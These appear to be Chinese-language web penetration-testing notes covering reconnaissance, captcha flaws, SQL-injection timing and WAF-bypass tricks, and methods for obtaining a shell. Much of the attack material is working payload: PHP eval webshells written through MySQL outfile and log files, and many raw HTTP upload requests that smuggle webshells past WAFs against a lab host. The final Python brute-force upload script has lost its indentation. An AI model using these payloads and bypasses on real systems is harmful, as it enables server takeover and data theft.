获取目标站点的绝对路径

  1. 如果是iis系统,尝试对参数进行恶意传值,使其出现报错页面
  2. 对目标网站进行js代码审计,查看是否存在信息泄露出站点的绝对路径
  3. 使用字典猜解目标站点的绝对路径
  4. 如果目标是thinkphp框架,尝试访问无效的路径,或者对参数进行而已传值使其报错
  5. phpinfo页面泄露站点的绝对路径

怎样进行信息收集

  1. 获取目标的真实ip,如果有cdn就绕一下
  2. 通过真实去进行半开放的端口扫描,获取目标服务
  3. 通过审计js代码 + jsfinder工具查看是否存在接口泄露可以使我们进一步的利用
  4. 对站点进行指纹识别,查看cms历史漏洞
  5. 通过乌云查找目标的历史漏洞,查看脆弱点
  6. 通过google黑语法搜索目标站点的敏感关键词 如 登录 后台 学号 上传
  7. 通过目录扫描工具扫描目标站点文件,查看是否存在未授权访问文件或者更多的功能点
  8. 通过潮汐 在线子域名 layer子域名挖掘机进行子域名收集
  9. 通过nmap goby对c端进行信息收集

绕cdn

  1. 通过境外ip去平目标系统
  2. 主动向我方的请求,如发邮件
  3. 获取多个子域名ip对比
  4. 查看dns记录
  5. 通过网络搜索引擎去搜索

只有一个登录页面如何去测

测试逻辑漏洞点

  1. 密码找回凡是 发送邮件 手机号是否可用拦截
  2. 登录时是否为前段验证,通过修改http回显包是否可用绕过个
  3. 注册功能是否可用覆盖注册admin,注册页面是否存在二阶注入
  4. 验证码是否可以绕过
  5. 用户名是否可以进行暴力破解

sql注入漏洞

  1. 登录页面是否存在注入漏洞
  2. 注册是否存在
  3. 密码找回处是否存在

js代码是否存在js接口泄露

  1. 有些功能点屏蔽掉,但是js代码可以看到,通过控制台可以触发
  2. 通过jsfinder查看是否存在可用接口
  3. 通过源码查看是否存在接口泄露

目录扫描

  1. 探测是否存在未授权访问
  2. 探测二级目录 三级目录

查看漏洞库是否存在历史漏洞

提取页面关键词去黑暗引擎搜索

网站有验证码,能想到哪些功能点来利用(挖漏洞)?

通用设计缺陷

验证码无效

有验证码模块,但是验证模块与业务功能没有关联性,此为无效验证,无论输入什么都正确

验证码由客户端生成 验证

验证码由客户端js生成并且仅仅在客户端用js验证,通过抓包查看是否有验证码字段或者是关闭js看能否通过验证.

验证码有回显

验证码在html或者cookie中显示,或者输出到response headers的其他字段,可被直接查看

验证码固定

也叫验证码重复使用,是指验证码没有设置使用期限,在验证码首次认证成功后没有删除在session中的验证码,使得验证码可以被多次成功验证,从而造成危害.

验证码可以爆破

服务端未对验证时间 次数做出限制,存在爆破的可能性,简单的系统存在可以直接爆破的可能性,但是做过一些防护的系统还得进行一些绕过才能进行爆破

验证码可猜解

验证码比较简单,可以通过推测猜到有哪些验证吗

可绕过

图片验证吗

burpsuite插件推荐:

    xp_captcha:https://github.com/smxiazi/NEW_xp_CAPTCHA

    captcha-kiler:https://github.com/c0ny1/captcha-killer/tags

    reCAPTCHA:https://github.com/bit4woo/reCAPTCHA/releases/tag/v1.0

短信验证码

短信轰炸

没有对发送短信验证码的发送时间 用户 ip做出限制

任意用户注册

任意用户密码重置

https://blog.csdn.net/m0_47418965/article/details/121613640

https://www.freebuf.com/vuls/253833.html

IIS搭建的网站如何找漏洞?

https://blog.csdn.net/ab_bcd/article/details/121157779

load data local读入表条件

load data infile

查看一下local_infile条件

show global variables like 'local_infile';

image-20220607133946404

更改可写,这里要注意,在每一次连接数据库之后都需要重新设置这个值.

set global local_infile = 1;
show global variables like 'local_infile';

image-20220607134016934

尝试不用local写入文件

create table server (text varchar(160) );
load data infile 'C:\\Users\\14980\\Desktop\\load.txt' into table server fields terminated by '\n';

image-20220607134352203

这是因为在mysql安装的时候限制了导入与导出目录权限,只允许在归定的目录下才能导入

SHOW VARIABLES LIKE "secure_file_priv";

image-20220607134514802

  • null 表示禁止
  • 如果value值有文件夹目录,则表示只允许改目录下文件
  • 如果为空则,表表示不限制目录

image-20220607135334737

image-20220607135347252

image-20220607135548251

删除

image-20220607135644905

SHOW VARIABLES LIKE "secure_file_priv";
show global variables like 'local_infile';
set global local_infile = 1;
create TABLE local ( text VARCHAR(160));
load data local infile 'D:\\download\\load.txt' into table local fields terminated by '\n' ;

image-20220607140409707

sql注入ban了sleep怎么实现时间盲注

sleep()

image-20220607141224384

benchmark()重复执行某表达式

benchmark(t,exp);
select benchmark(count,expr)
//是重复执行count次expr表达式,使处理时间很长,来产生延迟
SELECT benchmark (100000000,md5("hello"));

image-20220607141512425

笛卡尔积

笛卡尔积(因为连接表是一个分耗时的过程) A*B=(A和B中的每一个元素的组合所组成的集合,就是连接表)

select count(*) from information_schema.columns A,information_schema.`COLUMNS` B,information_schema.TABLEs C;

image-20220607141927121

select * from user A, user B,user C,user D,user E,user F,user G,user H;

image-20220607142201106

get_lock 加锁

get_lock(key,timeout); 需要两个连接会话
release_lock(key); 锁是否释放,释放了返回1
is_free_lock(key); 返回当前连接id,表示名称为"xxx"的锁正在被使用
  • key 锁的名称
  • timeout 加锁等待时间,时间内未加锁成功则事件回滚
  • get_lock 加锁成功返回1

我们新建两个查询

image-20220607144233615

先运行这个test 1,在运行这个test 5.

image-20220607144306754

image-20220607144326901

接着这个控制台,我们改成几就是查询几了.但是这个办法有限制,需要与mysql之间的连接是长连接.原因就是一旦关闭这个初次加锁的控制台,锁就自动断开了.

在php中

mysql_connect()	脚本一结束,到服务器的连接就被关闭
mysql_pconnect() 打开一个到mysql服务器的持久连接

rlike regexp 正则匹配

不会用,也不太好用https://www.cdxy.me/?p=789

https://www.cnblogs.com/forforever/p/13019703.html

sqlmap的os shell原理

执行原理

对于mysql数据库来说,–os-shell的本质就是写入两个shell文件,其中的一个可以让我们用来执行命令,另外一个,如果在网站访问的话可以让我们上传文件.

写shell的话有两个限制条件,首先,我们需要知道上传文件的两个限制条件,首先我们需要知道网站的绝对路径(我们的shell写到哪里),还需要有导入导出权限.

导入导出的权限在mysql数据库中是有secure_file_priv参数来控制的,当这个参数的后面为null的时候,表示不允许导入导出,如果为具体文件夹时,表示仅允许在这个文件夹下导入导出,secure_file_priv参数的默认值为null,也就是说,如果管理员没有修改过这个参数后面的数值的话,我们没有办法在5.7以上使用–os-shell

  1. 已知目标站点的绝对路径
  2. 已知目标站点的脚本语言
  3. 当前数据库权限必须是dba sa权限
  4. 网站不查杀木马文件

https://www.cnblogs.com/Xiaoming0/p/13951894.html

https://www.freebuf.com/articles/web/278879.html

https://plumstar.cn/2022/04/28/sqlmap-os-shell/

SQL注入绕waf的方式

白盒

根据waf的固定规则去寻找有没有漏网之鱼.

黑盒

架构层绕waf

  1. 用户本身是进入waf后访问web页面的,只要我们找到web的真实ip,就可以绕过waf
  2. 在同网段内,页面与页面之间,服务器与服务器之间,通过waf的防护,然后展示给我们,只要我们在内部服务之间进行访问,即可绕过waf
  3. 边界漏洞,同样类似于同网段数据,我们可以利用已知服务器存在的ssrf漏洞,将数据直接发送给同网段的web2进行sql注入.

资源限制角度绕过waf

有的时候,由于数据太大,会导致waf无法将所有的数据都检测完成,这个时候会忽略掉我们带入的sql注入语句,从而绕过,使用post请求,对服务器请求很大资源逃逸sql注入语句

协议层面绕过waf

  1. 基于协议层,有的waf只过滤get请求,而对post请求没有做别的限制,因此,可以将get类型转换成post请求

  2. 文件格式,页面只对Content-Type为application/x-www-form-urlencoded数据格式进行过滤,因此我们可以将Content-Tyoe格式修改为multipart/form-data,即可绕过

  3. 参数污染 有的waf仅对部分内容进行过滤如

    index.php?id=1&id=2

    这样的参数id=1,waf也许仅对前面的 id进行检测,而后面的参数并不做处理

规则层面绕过

  1. 首先使用比较特殊的方法进行绕过

    如果存在注入点,测试waf到底拦截了哪一部分数据,如果是空格,可以尝试/*%!%2f*/,如果是对sql函数进行了过滤,可以尝试 sleep/*%!%2f*/

  2. 常见规则

image-20220608163750421

​ 3.缓冲区溢出

select * from users where id=1  and (select 1)=(Select 0xA*1000) uNiOn SeLeCt 1,2,version();//自测成功,继续加油0xA*1000  指的是0XA后面的 "A" 重复1000次一般来说对应用软件构成缓冲区溢出都需要比较大的测试长度这里1000仅供参考,在一些情况下也可以更短

​ 4.mysql特性绕过

1.= 等于
:= 赋值
@ @+变量名可直接调用

select * from users where id=1 union select @test=user(),2,3;//1
select * from users where id=1 union select @test:=user(),2,3;//自测可用,继续加油,root
select * from users where id=1 union select @,2,3;//NULL

​ 5.黑魔法

select{x user}from{x mysql.user};

​ 6.内联注释

例如MySQL服务器可以在以下语句中识别STRAIGHT_JOIN关键字,而其他服务器则不能:
SELECT /*! STRAIGHT_JOIN*/ col1 FROM table1,table2 WHERE ...
如果在!后面添加版本号,则仅当MySQL版本大于或者等于指定的版本号时,才会执行注释中的语法。例如,以下注释中的关键字KEY_BLOCK_SIZE仅由MySQL 5.1.10或者更高版本的服务器执行:
CREATE TABLE t1(a INT, KEY (a)) /*!50110 KEY_BLOCK_SIZE=1024*/
/*! */类型的注释,内部语句会被执行
select bbb from table1 where aaa='' union /*! select database()*/;
可以用来绕过一些WAF,或者是绕过空格
但是,不能将关键词用注释分开,例如下面的语句是不可执行的(或者说只能在某些较老版本执行)
select bbb from table1 where balabala='' union se/*!lect database()*/;

https://www.freebuf.com/vuls/229300.html

SQL注入过滤逗号如何处理

https://www.jianshu.com/p/d10785d22db2

报错注入函数

12种报错注入+万能语句_董呆呆的博客-CSDN博客_报错注入语句

phpmyadmin如何拿shell?

数据库文件导入导出

条件

  1. 数据库root权限
  2. 数据库字段secure_file_priv没有具体的值
  3. 获取网站的绝对路径

先查看有没有写文件的权限

show global variables like "%secure_file_priv%"
select "<?php @eval(@_POST[zf]);?>" into outfile "D:/Download/zf.php";

数据库全局日志写入

条件

  1. 数据库root权限
  2. 获取网站的绝对路径

查看是否开启了全局日志以及全局日志的存放位置

SHOW VARIABLES LIKE '%general%' 

修改或者设置全局日志的保存目录为网站的web目录,并且日志保存为php文件

set global general_log=on;
set global general_log_file="C:\\phpStudy\\WWW\\test.php";

设置开启日志以及日志存储位置,这里日志存储位置为站点的根目录,执行命令写入日志文件

SELECT "<?php @eval($_POST['cmd']); ?>"

数据库慢查询日志写入

慢日志查询 记录所有执行时间超过字段long_query_time规定时间的所有查询或者不使用索引的查询,默认情况下慢查询日志为关闭,long_query_time值为10秒

条件

  1. 数据库root权限
  2. 获取网站的绝对路径

查询相关配置

show variables like '%slow%' 

打开

set global slow_query_log=on;

写入

select '<?php @eval($_POST[shell]);?>' or sleep(10); 

CVE

https://chowdera.com/2022/01/202201020402437761.html

文件上传漏洞原理,绕waf

http上传数据包

POST /upload-labs/Pass-01/index.php HTTP/1.1
Host: sec
Content-Length: 333
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://sec
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryie9Mv0dt18E6H6MQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://sec/upload-labs/Pass-01/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: pass=01
Connection: close

------WebKitFormBoundaryie9Mv0dt18E6H6MQ
Content-Disposition: form-data; name="upload_file"; filename=".htaccess.png"
Content-Type: image/png

AddType application/x-httpd-php .jpg


------WebKitFormBoundaryie9Mv0dt18E6H6MQ
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryie9Mv0dt18E6H6MQ--

这是一个完整的上传文件的数据包.这里在前段页面需要指定 Content-Type: multipart/form-data; 才能正常上传文件.

POST /upload-labs/Pass-01/index.php HTTP/1.1
Host: sec
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryie9Mv0dt18E6H6MQ

------WebKitFormBoundaryie9Mv0dt18E6H6MQ
Content-Disposition: form-data; name="upload_file"; filename=".htaccess.png"
Content-Type: image/png

AddType application/x-httpd-php .jpg


------WebKitFormBoundaryie9Mv0dt18E6H6MQ
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryie9Mv0dt18E6H6MQ--
  • multipart/form-data : 表示该请求时一个上传文件请求
  • 存在boundary字符串 : 作用为分隔符,以区分post数据
  • Content-Disposition : 响应标头是指示内容是否预期在浏览器中内联显示的标题
  • name : 包含改字段的内容引用的html字段的名称
  • filename : 后面一个是一个包含传输文件的原始名称的字符串
  • boundary的值就是Content-Type的值在最前面加了两个–,除了最后表示结束的boundary,在最后结束的boundary最后默认会多出两个–(当最后一行的boundary删掉也能上传成功)

文件上传在数据包中可以修改的地方

  • Content-Disposition 一般可以更改 name 表单参数值.
  • 不能更改filename :文件名
  • 可以更改Content-Type:文件MIME
  • 视情况更改boundary:内容划分,可以更改

waf如何拦截恶意文件

  • 文件名:解析文件名,判断是否在黑名单内
  • 文件内容:解析文件内容,判断是否为webshell
  • 文件目录权限:这个由主机waf实现
  1. 获取Request Header中Content-Type的boundary值
  2. 根据boundary值,解析post数据,获取文件名
  3. 判断文件名是否在拦截黑名单/白名单之外

绕过

字符变异

引号变换

头部字段的值既可以添加单引号也可以添加双引号,还可以不添加引号,都不会影响上传的结果,还可以去除filename字符串中的引号.

Content-Disposition: "form-data"; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename=xx.php
Content-Disposition: form-data; name="file_x"; filename=xx.php
Content-Disposition: form-data; name='file_x'; filename='xx.php'
Content-Disposition: 'form-data'; name="file_x"; filename='xx.php'

Content-Disposition: form-data; name="file_x"; filename="xx.php
Content-Disposition: form-data; name="file_x"; filename='xx.php
Content-Disposition: form-data; name="file_x"; filename="xx.php;

大小写变换

对关键字符进行大小写转换 Content-Disposition name filename.比如将name转换成NaMe,Content-Disposition转换成content-disposition

添加换行符

字符值与等号之间可以加入换行符,依然可以正常上传,如使用

Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php"
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php"[0x09]
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]xx.php
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]xx.php[0x09];

image-20220607183231191

多个分号

文件解析时,可能因为分号解析不到文件名,导致绕过

Content-Disposition: form-data; name="file_x";;; filename="test.php"

多个等号

在post中的内容中使用多个等号对文件上传没有影响

Content-Disposition: form-data; name=="file_x"; filename===="test.php"

变换Content-Disposition的值

在某些waf解析的时候,认为Content-Dispostion的值一定是form-data,造成绕过,其实Content-Dispostion可以任意变换或为空

Content-Disposition: fOrM-DaTA; name="file_x"; filename="xx.php"
Content-Disposition: form-da+ta; name="file_x"; filename="xx.php"
Content-Disposition: fo r m-dat a; name="file_x"; filename="xx.php"
Content-Disposition: form-dataxx; name="file_x"; filename="xx.php"
Content-Disposition: name="file_x"; filename="xx.php"

畸形的boundary头部

boundary可以变换为如下形式,且不影响上传

multipart/form-data大小写变换

Content-Type: mUltiPart/ForM-dATa; boundary=----WebKitFormBoundarye111

multipart/form-data与boundary之间可以使用空格分割,且中间可以插入任何值

Content-Type: multipart/form-data boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data x boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data abcdefg boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data a\|/?!@#$%^() boundary=----WebKitFormBoundarye111

multipart/form-data与boundary之间可以使用逗号分割,且中间可以插入任何值

Content-Type: multipart/form-data,boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,x,boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,abcdefg,boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,a\|/?!@#$%^(),boundary=----WebKitFormBoundarye111

boundary之前可以直接加入任何值(php可行)

Content-Type: multipart/form-data;bypass&123**{|}boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data bypass&123**{|}boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,bypass&123**{|}boundary=----WebKitFormBoundarye111

boundary末尾可以使用逗号或者分号隔开插入任何值

Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111;123abc
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111,123abc

顺序颠倒

交换name和filename的顺序

因为规定了Content-Disposition必须在最前面,所以只能交换name和filename的顺序.有的waf可能会匹配name在前面,filename在后面,可以导致绕过

Content-Disposition: form-data; filename="xx.php"; name="file_x"

交换Content-Disposition和Content-Type的顺序

Content-Disposition和Content-Type也是能够交换顺序的

Content-Type: image/png
Content-Disposition: form-data; name="upload_file"; filename="shell.php"

交换不同boundary内容的顺序

不同boundary内容也能够交换,且不影响文件上传

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rf--

boundary内容重复

最后上传的文件是shell.php而非shell.jpg,但是如果取的文件名时只取了第一个就会被Bypass

------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
Content-Type: image/png

<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundarymeEzpUTMsmOfjwAA--

下面这样也是可以正常上传的

------WebKitFormBoundarymeEzpUTMsmOfjwAA
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
------WebKitFormBoundarymeEzpUTMsmOfjwAA;123
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundarymeEzpUTMsmOfjwAA--

filename重复

最终上传成功的文件名是shell.php。但是由于解析文件名时,会解析到第一个。正则默认都会匹配到第一个

Content-Disposition: form-data; name="upload_file"; filename="shell.jpg filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.php";

数据溢出

name与filename之间插入垃圾数据

POST /Pass-02/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf
Connection: close

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; fbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf;
filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--

boundary字符串中加入垃圾数据

boundray字符串的值可以为任何数据(有一定的长度限制),当长度达到WAF无法处理时,而Web服务器又能够处理,那么就可以绕过WAF上传文件

POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Connection: close

------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Content-Disposition: form-data; name="upload_file";filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9--

boundray末尾插入垃圾数据

刚才讲到过boundary末尾可以插入任何数据,那么就可以在boundary字符串末尾加入大量垃圾数据

POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf,bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Connection: close
Content-Length: 592

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--

multipart/form-data与boundary之间插入垃圾数据

刚才讲到过multipart/form-data与boundary之间可以插入任何数据,那么就可以在multipart/form-data与boundary之间加入大量垃圾数据

POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf
Connection: close
Content-Length: 319

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--

数据截断

回车换行截断

POST请求头的值(不是请求头)是可以换行的,但是中间不得有空行。若WAF匹配文件名到换行截止,则可以绕过

Content-Disposition: for
m-data; name="upload_
file"; fi
le
name="sh
ell.p
h
p"

分号截断

若WAF匹配文件名到分号截止,则可以绕过

Content-Disposition: form-data; name="upload_file"; filename="shell.jpg;.php"

引号截断

php<5.3 单双引号截断特性

Content-Disposition: form-data; name="upload_file"; filename="shell.jpg'.php"
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg".php"

00截断

在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,所以当url中出现%00时就会认为读取已结束。这里使用[0x00]代替16进制的00字符

Content-Disposition: form-data; name="upload_file"; filename="shell.php[0x00].jpg"
#! /usr/bin/env python
# _*_ coding:utf-8 _*_

import requests
import random

url="http://hackrock.com:813/Pass-01/index.php"

def generate_random_str(randomlength=16):
random_str = ''
base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
length = len(base_str) - 1
for i in range(randomlength):
random_str += base_str[random.randint(0, length)]
return random_str

for i in range(10,8000,50):
stri = generate_random_str(i)
try:

headers = {
"Host":"hackrock.com:813",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36",
"Referer":"http://hackrock.com:813/Pass-01/index.php",
"Content-Type":"multipart/form-data; boundary=----" + stri
}
payload = """
------""" + stri +"""
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['hack']); ?>

------""" + stri + """
Content-Disposition: form-data; name="submit"

上传
------""" + stri + """--

"""

response=requests.post(url=url,headers=headers,data=payload,timeout=0.5)
result = response.content
print result
print stri
print "\n"
#print payload
#print headers
